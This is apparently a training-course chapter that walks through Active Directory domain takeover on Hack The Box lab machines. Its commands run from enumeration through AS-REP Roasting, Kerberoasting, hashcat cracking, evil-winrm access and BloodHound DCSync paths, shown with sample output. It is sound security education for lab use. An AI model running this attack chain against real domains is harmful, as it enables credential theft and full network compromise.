Step 271. One HTB AD-Track Machine — The Standard Route to Domain Takeover

Level 3 — Real-World CTF & Advanced Offensive Skills | Difficulty ★★★★☆ | Estimated time: 1–2 days

Prerequisites: Step 261 (AD structure), Step 262 (Kerberoasting & AS-REP), Step 263 (Pass-the-Hash & BloodHound). You have HTB Easy/Medium experience.

What you need: an HTB account with VPN connection, an attack machine (Kali recommended — Impacket and BloodHound tools built in), your personal wiki.
⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime. Hack The Box (hackthebox.com) is a legal learning platform officially opened by its operators for attack practice — today’s techniques are used on HTB machines and nowhere else.
Screen note: every HTB connection screen and command output in this chapter is a screen example. The actual connection and solving happen by your own hands.

In Step 261–263 you learned Active Directory’s parts one by one — domain structure, Kerberoasting, AS-REP Roasting, Pass-the-Hash, BloodHound. Today is the day you assemble those parts, in front of a real domain machine, into a single line of path.

AD machines have a standard flow: obtain initial credentials → domain enumeration → Roasting → account movement → privilege-path tracing → Domain Admin. Today’s goal is to walk this route completely, on one machine. Introductory AD machines like Forest, Sauna, and Active are the textbooks of this route.

1. Learning Objectives

By the end of this chapter, you will be able to:

Read an AD machine’s scan results (SMB, LDAP, Kerberos ports) and judge that it’s a domain environment
Collect a user list via SMB null sessions and LDAP anonymous queries
Obtain the first account password with Kerberoasting / AS-REP Roasting
Connect with the obtained account via evil-winrm, then map the DA path with BloodHound
Check privileges every time you get an account, and organize the whole path on a graph

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category	Details
Language/environment	HTB platform (VPN) + Kali attack machine (Impacket, BloodHound, evil-winrm)
Today’s commands	`crackmapexec smb`, `ldapsearch`, `GetNPUsers.py`, `GetUserSPNs.py`, `bloodhound-python`, `evil-winrm`, `net user account /domain`
Concepts needed	Null sessions, domain enumeration, SPNs and Roasting, tier movement, the Domain Admin path
Today’s deliverable	Domain takeover of an AD machine + path annotations on a BloodHound graph

2-1. Identifying an AD Machine — The Ports Tell You

A normal machine and an AD machine differ from the very first scan screen. A domain controller (DC) leaves a distinctive combination of ports open (screen example):

PORT     STATE SERVICE
53/tcp   open  domain        ← domain DNS
88/tcp   open  kerberos-sec  ← Kerberos authentication
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap          ← directory queries
445/tcp  open  microsoft-ds  ← SMB
464/tcp  open  kpasswd5
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP

If 88 (Kerberos) and 389 (LDAP) are open together, it’s AD. The moment you see this combination, the routine in your head must switch from "normal machine" to "domain" — collecting a user list comes before web directory scans.

2-2. The Three Sources of Initial Credentials

An AD machine’s first link is mostly one of three.

Source	Method	Notes
SMB null session	Open shared folders without authentication	`smbclient -N -L //target/` — neglected shares often hold config files and scripts
LDAP anonymous query	Query the directory without authentication	User lists, groups, description fields exposed
Web/other vulnerabilities	Same as a normal web machine	When credentials obtained from the web turn out to be a domain account

And one unusual source — sometimes the user list itself becomes the credential. AS-REP Roasting can attack with usernames alone, no password needed (review Step 262).

2-3. The Standard Route: Roasting → Movement → Path Tracing

There are two main paths to the first account.

AS-REP Roasting: take the authentication response of an account set to "pre-authentication not required" and crack it offline. Only a user list is needed.
Kerberoasting: with one valid domain account, request tickets for service accounts carrying SPNs and crack them offline.

After connecting with the first account (evil-winrm), you need a map. Inside a domain, "who is admin of what" is tangled across hundreds of relationships, and tracking it in your head guarantees getting lost. BloodHound draws those relationships as a graph — the standard procedure is scraping data with a collector and finding the shortest path "current account → Domain Admin" on the graph (Step 263).

2-4. AD’s Confusion-Prevention Habit — The Account Ledger

The most common confusion on AD machines is forgetting "which account is this shell, and how far can this account go?" Every time you obtain an account, record two things immediately.

net user accountname /domain

That account’s groups (what is it a member of)
One line in the asset list (Step 269): "account: privileges: how obtained"

Without this ledger, you’ll burn hours inside illusions like "I definitely got an account with admin rights." An account is itself an asset, and checking its privileges is the asset appraisal.

3. Follow Along

3-1. Picking the AD Machine and Identifying the Domain

On HTB, pick an introductory machine tagged AD — Forest, Sauna, and Active are the typical textbooks. First scan after deployment (screen example):

nmap -sV -sC 10.10.10.161

PORT     STATE SERVICE       VERSION
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds  ...
|_  domain: htb.local

How to read it: the 88 + 389 combination, plus the domain name the scan tells you (htb.local), gets registered in /etc/hosts — Kerberos tools work better by domain name than by IP.

echo "10.10.10.161 htb.local forest.htb.local" | sudo tee -a /etc/hosts

3-2. Initial Enumeration — Null Sessions and Anonymous Queries

Checking the SMB null session (screen example):

crackmapexec smb 10.10.10.161 -u '' -p '' --shares
smbclient -N -L //10.10.10.161/

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
SYSVOL          Disk      Logon server share

Collecting users via LDAP anonymous query (screen example):

ldapsearch -x -H ldap://10.10.10.161 -b "DC=htb,DC=local" \
  "(objectClass=user)" sAMAccountName | grep sAMAccountName

sAMAccountName: Administrator
sAMAccountName: Guest
sAMAccountName: svc-alfresco
sAMAccountName: sebastien
...

Why do this: the user list is the crude oil of an AD attack. This list is itself the input to AS-REP Roasting, the input to password spraying, and the starting point of BloodHound paths. Always save the list to a file — users.txt.

3-3. Obtaining the First Account — AS-REP / Kerberoasting

AS-REP Roasting — try with only the user list (screen example):

impacket-GetNPUsers htb.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt

$krb5asrep$23$svc-alfresco@HTB.LOCAL:a1b2c3...(hash)

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

$krb5asrep$23$svc-alfresco@HTB.LOCAL:...:s3rvice

Kerberoasting — when you already have a valid account (screen example):

impacket-GetUserSPNs htb.local/sebastien:'password' -request -outputfile spn.txt
hashcat -m 13100 spn.txt /usr/share/wordlists/rockyou.txt

How to read it: remember the difference precisely — AS-REP can start from 0 accounts (needs an account with pre-authentication disabled); Kerberoasting needs 1 valid account (accounts carrying SPNs are the targets). Which door the machine left open, you learn only by trying. Both crack hashes offline, so they leave few traces on the target.

3-4. Connecting and Checking Privileges

Connect with the cracked credentials (screen example):

evil-winrm -i 10.10.10.161 -u svc-alfresco -p 's3rvice'

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco
*Evil-WinRM* PS C:\> net user svc-alfresco /domain
...
Group memberships         *Domain Users     *Service Accounts

Read user.txt, and immediately record it in the account ledger — "svc-alfresco: Domain Users + Service Accounts: obtained via AS-REP cracking."

3-5. BloodHound — Finding the DA Path

Run the collector from your attack machine (screen example):

bloodhound-python -d htb.local -u svc-alfresco -p 's3rvice' \
  -ns 10.10.10.161 -c All --zip

Load the generated zip into the BloodHound GUI and run the query — "Shortest Paths to Domain Admins from Owned Principals." Mark svc-alfresco as "Owned" and the path from your current position to DA appears as a graph (screen example):

SVC-ALFRESCO@HTB.LOCAL
  --[GenericAll]--> SERVICE-ACCOUNTS group
    --[WriteDacl]--> EXCHANGE TRUSTED SUBSYSTEM
      --[DCSync]--> HTB.LOCAL (the domain)

How to read it: one arrow is "one privilege." GenericAll fully controls the target, WriteDacl can modify its permissions, DCSync is the right to replicate every password hash in the domain. What remains of the attack is translating each arrow of the path into "how do I step on it" — the concrete exploitation of each privilege was covered in Step 263.

3-6. Moving Along the Path and Wrapping Up

Execute the graph’s arrows one by one — adding accounts, granting privileges, Pass-the-Hash (Step 263), token theft, whatever technique the path demands. Every time the account changes, repeat: connect → whoami → net user /domain → record in the ledger.

Reach Domain Admin and read root.txt (on the DC’s Administrator desktop), and the domain is taken. Finally, organize the whole path as annotations on the BloodHound graph — write "the one command I actually used" above each arrow and attach it to your wiki. This document becomes the starting point of the next AD machine.

4. Missions & Exercises

Mission — Domain Takeover of an AD Machine

Pick and deploy one introductory HTB AD-track machine (Forest, Sauna, Active, etc.)
Collect a user list via null sessions / anonymous queries and save it as users.txt
Obtain the first account with a Roasting-family attack and connect via evil-winrm
Map the DA path with BloodHound collection/analysis and move along the path
After taking the domain, leave a path document in your wiki with your actual commands annotated on the graph

Exercises

Exercise 1. Name the two-port combination in scan results that tells you a machine is AD, and the reason.

Exercise 2. Explain the difference in prerequisites between AS-REP Roasting and Kerberoasting.

Exercise 3. Explain why the habit of checking net user account /domain every time you obtain an account is needed.

Exercise 4. Explain what one arrow of a BloodHound path means, and what it means to "step on" that arrow.

5. Model Answers & Completion Criteria

Mission Model Answer

The standard route of an introductory AD machine is the flow of 3-1–3-6: domain identification → user collection → AS-REP or Kerberoasting → first connection → BloodHound path → movement → DA. The evidence of completion is root.txt and the path-annotation document.

How to verify: ① does users.txt exist as a file? ② Can you say in a sentence how the first account was obtained (AS-REP? Kerberoasting? null session?)? ③ Does the account ledger have each account’s groups and acquisition path? ④ Does each arrow of the path-annotation document have an actual command written on it? ⑤ Can you count the number of privilege arrows stepped on the way to DA?

Exercise Answers

Answer 1. If 88 (Kerberos) and 389 (LDAP) are open together, it’s AD. Kerberos is the domain authentication protocol and LDAP is the directory query protocol — both are core services of a domain controller. If 53 (domain DNS), 636 (LDAPS), and 3268 (global catalog) also show, it’s certain.

Answer 2. AS-REP Roasting works without valid credentials — with just a list of usernames, it takes the authentication response of an account with "pre-authentication not required" enabled and cracks it. Kerberoasting first needs one valid domain account, with which it requests tickets for service accounts carrying SPNs and cracks them. In other words, AS-REP starts from 0 accounts; Kerberoasting starts from 1 account.

Answer 3. Because in AD, each account’s possible range differs, and that range (group memberships) decides the next action. Proceeding without checking burns time inside the illusion "this account should be able to do it." Check the groups the moment you obtain an account and write them in the ledger, and the "current position" on the BloodHound path stays accurate at all times.

Answer 4. One arrow is "one privilege relationship" — for example, A having GenericAll over B means A can fully control B. "Stepping on" an arrow means executing the concrete technique that actually exercises that privilege — e.g., with GenericAll, resetting the target account’s password or planting an SPN to Kerberoast it.

Completion Criteria Checklist

[ ] I can identify an AD machine by the 88/389 port combination
[ ] I registered the domain name in /etc/hosts and used it with the tools
[ ] I collected a user list via SMB null sessions and LDAP anonymous queries
[ ] I can explain the prerequisite difference between AS-REP Roasting and Kerberoasting
[ ] After connecting with the first account via evil-winrm, I checked privileges and recorded them in the ledger
[ ] I mapped the DA path with BloodHound and moved along it
[ ] Mission: completed domain takeover + the on-graph path-annotation document

6. Common Pitfalls & Fixes

Wall 1. Kerberos tools throw KDC can't be contacted errors

Symptom: running GetNPUsers yields a message like KDC Error: Cannot contact any KDC.
Cause: the domain name isn’t resolving to an IP. Kerberos tools locate the KDC by domain name.
Fix: check that targetIP domainname is registered in /etc/hosts (3-1). Checking whether the name pings first is faster.

Wall 2. The null session is blocked — STATUS_ACCESS_DENIED

Symptom: smbclient -N -L //target/ fails with access denied.
Cause: not every AD machine allows null sessions. Even among introductory machines, some block it by policy.
Fix: this is not failure but information — "this machine’s first link is not SMB." Move asset hunting to LDAP anonymous queries, AS-REP, or the web surface. Record the blocked door in the asset list too, as "tried: failed."

Wall 3. Got a hash, but hashcat can’t crack it

Symptom: cracking runs an hour without Exhausted, or throws a format error outright.
Cause: one of two — the wordlist is too shallow, or the hash format (-m number) is wrong. AS-REP is -m 18200; Kerberoasting is -m 13100.
Fix: check the format number first, and if rockyou fails, add rules (-r) or widen to a bigger wordlist. That said, introductory machines are mostly inside rockyou — if it won’t crack, suspecting the format is the right order.

Wall 4. No path shows in BloodHound

Symptom: the "Shortest Paths" query returns empty.
Cause: one of three — collection was incomplete (-c All missing), you didn’t mark the current account "Owned," or there truly is no path from this account.
Fix: ① rerun the collector with -c All ② find your account node in the graph, right-click → "Mark as Owned" ③ if still nothing, look at paths from other account nodes and find "how to obtain that account first" — the absence of a path is also information.

Wall 5. Confused about which account’s shell is which, going in circles

Symptom: three terminals are open and you can’t tell which window is which account.
Cause: you worked with several accounts at once without an account ledger.
Fix: close every window and organize first — write the accounts and privileges obtained so far in the ledger, and when reopening windows, do it one at a time, with whoami as a habit each time. Half the mistakes on AD machines are not technical but positional loss.

7. Summary

Today’s Concepts

Concept	One-line explanation
AD standard route	Initial credentials → domain enumeration → Roasting → account movement → path tracing → DA
Null session	An SMB session opened without authentication; neglected shares are the first credentials’ source
LDAP anonymous query	Querying the directory without authentication to collect user/group lists
AS-REP Roasting	Take the response of a pre-auth-disabled account and crack offline — starts from 0 accounts
Kerberoasting	Take SPN tickets with a valid account and crack offline — starts from 1 account
Account ledger	A record of accounts, groups, acquisition paths; prevents positional loss in AD
DA path	The arrow chain on the BloodHound graph from current account → Domain Admin

Today’s Commands

Command	What it does
`nmap -sV -sC target`	Identify AD by the 88/389 combination
`echo "IP domain" \| sudo tee -a /etc/hosts`	Register name resolution for Kerberos tools
`smbclient -N -L //target/`	SMB null-session share list
`ldapsearch -x -H ldap://target -b "DC=...,DC=..." "(objectClass=user)" sAMAccountName`	Collect the user list
`impacket-GetNPUsers domain/ -usersfile users.txt`	AS-REP Roasting
`impacket-GetUserSPNs domain/account:password -request`	Kerberoasting
`hashcat -m 18200 / 13100`	Crack AS-REP / Kerberos ticket hashes
`evil-winrm -i target -u account -p password`	WinRM connection
`net user account /domain`	Check an account’s groups and privileges
`bloodhound-python -d domain -u account -p password -ns target -c All --zip`	BloodHound data collection

An Instinct More Important Than Commands

Attacking AD is less a battle of techniques than a battle of maps. You already learned the individual techniques in Step 261–263; today’s real skill is always knowing "where on the map am I right now." The account ledger and BloodHound are that map’s two axes. And this route is nearly identical, beyond HTB, to the AD procedure of real penetration tests — the day the road you walked today becomes a line on your résumé is closer than you think.

Once every box is checked, Step 271 is complete. Click the checkbox in the sidebar to save your progress.